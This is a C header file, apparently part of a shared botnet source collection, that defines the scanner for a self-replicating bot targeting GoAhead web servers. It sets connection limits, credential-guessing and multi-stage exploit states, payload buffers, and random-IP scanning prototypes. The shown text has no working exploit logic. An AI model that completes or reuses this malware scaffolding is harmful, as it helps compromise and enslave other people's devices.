Path: blob/master/Botnets/Self Reps/GOAHEAD/goahead.h
5038 views
#pragma once12#include <stdint.h>34#include "includes.h"56#define SCANNER_MAX_CONNS 1287#define SCANNER_RAW_PPS 16089#define SCANNER_RDBUF_SIZE 25610#define SCANNER_HACK_DRAIN 641112struct scanner_connection13{14int fd, last_recv;15enum16{17SC_CLOSED,18SC_CONNECTING,19SC_GET_CREDENTIALS,20SC_EXPLOIT_STAGE2,21SC_EXPLOIT_STAGE3,22} state;23ipv4_t dst_addr;24uint16_t dst_port;25int rdbuf_pos;26char rdbuf[SCANNER_RDBUF_SIZE];27char **credentials;28char payload_buf[256], payload_buf2[256];29int credential_index;30};3132void scanner_init();33void scanner_kill(void);3435static void setup_connection(struct scanner_connection *);36static ipv4_t get_random_ip(void);373839